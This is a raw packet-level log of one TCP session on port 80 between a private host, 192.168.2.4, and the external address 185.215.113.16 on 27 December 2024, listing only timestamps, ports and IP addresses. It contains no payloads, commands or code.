Dec 27, 2024 15:04:20.742445946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.742501974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.742546082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.743297100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.743391037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.743428946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.744175911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.744268894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.744307041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.745054007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.745171070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.745208979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.745877981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.774723053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.774838924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.774842978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.775197029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.775245905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.820547104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.821038008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.821103096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.821286917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.856686115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.856739998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.856796980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.857093096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.857134104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.857271910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.857397079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.857434034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.858118057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.858221054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.858256102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.858990908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.859077930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.859114885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.859870911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.859992981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.860032082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.860769987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.860878944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.860917091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.861651897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.861751080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.861783981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.862631083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.862740993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.862776995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.863418102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.863523006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.863559961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.864281893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.864464045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.864501953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.865185022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.865303040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.865343094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.866055965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.866163015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.866200924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.866959095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.867054939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.867088079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.867818117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.867923021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.867978096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.868719101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.868854046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.868894100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.869617939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.869740009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.869774103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.870462894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.921444893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.945002079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.945132017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.945178032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.945324898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.945544958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.945586920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.945632935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.946396112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.946436882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.981246948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.981419086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.981470108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.981687069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.981794119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.981827021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.981873989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.982675076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.982721090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.982770920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.983547926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.983582020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.983712912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.984436035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.984476089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.984528065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.985351086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.985389948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.985436916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.986488104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.986553907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.986592054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.987104893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.987144947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.987205982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.987991095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.988027096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.988208055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.988858938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.988893986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.988972902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.989752054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.989792109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.989850998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.990648031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.990684032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.990777969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.991508007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.991543055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.991620064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.992397070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.992434978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.992456913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.993247032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.993288040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.993369102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.994121075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.994158030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:20.994241953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.995018005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:20.995049953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.069318056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.069359064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.069403887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.069591999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.069741964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.069776058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.069861889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.070700884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.070744038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.105937004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.105972052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.106066942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.106339931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.106426954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.106462955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.106501102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.106971025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.107007980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.107124090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.107832909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.107875109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.107929945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.108720064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.108762980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.108803034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.109585047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.109622002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.109641075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.110466957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.110510111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.110651016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.111437082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.111478090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.111537933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.112251997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.112297058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.112345934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.113143921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.113173008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.113189936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.114032984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.114073992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.114129066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.114900112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.114939928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.114995956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.115766048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.115806103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.115854025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.116652966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.116693020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.116753101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.117561102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.117600918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.117659092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.118411064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.118448973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.118500948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.119297981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.119328976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.119338989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.120229959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.120270967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.193907976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.193948030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.193998098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.194287062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.194375038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.194426060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.195070982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.230457067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.230506897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.230511904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.230840921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.230879068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.230979919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.231086016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.231117964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.231884956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.231950998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.231996059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.232681990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.232789993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.232827902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.233503103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.233599901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.233644962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.234455109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.234549999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.234584093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.235265017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.235342026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.235373020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.236146927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.236252069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.236285925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.237027884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.237129927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.237173080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.237914085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.238014936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.238048077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.238800049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.238900900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.238931894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.239722967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.239814043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.239844084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.240586042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.240678072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.240712881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.241485119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.241583109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.241617918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.242322922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.242430925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.242465973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.243230104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.243338108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.243376017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.244080067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.279921055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.279938936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.279968023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.318319082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.318377018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.318495035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.318681955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.318722963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.318803072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.319546938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.319580078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.355135918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.355360031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.355417013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.355635881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.355751991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.355767965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.355791092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.356683969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.356723070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.356740952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.357652903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.357664108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.357692957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.358470917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.358483076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.358527899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.359349012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.359359980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.359389067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.360229015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.360239029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.360269070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.361095905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.361107111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.361139059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.361887932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.361928940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.362778902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.362788916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.362829924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.363356113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.363796949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.363809109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.363836050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.364630938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.364643097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.364672899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.365519047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.365530014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.365556002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.366375923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.366388083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.366425037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.367237091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.367248058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.367276907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.368170023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.368206978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.399852991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.399899006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.399940014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.400016069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.404427052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.404439926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.404474020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.442656040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.442672968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.442734957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.442764044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.442775011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.442795992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.443741083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.443753958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.443783045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.479624987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.479662895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.479666948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.480036020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.480071068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.480108976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.480150938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.480182886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.481012106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.481117964 CET	80	49743	185.215.113.16	192.168.2.4
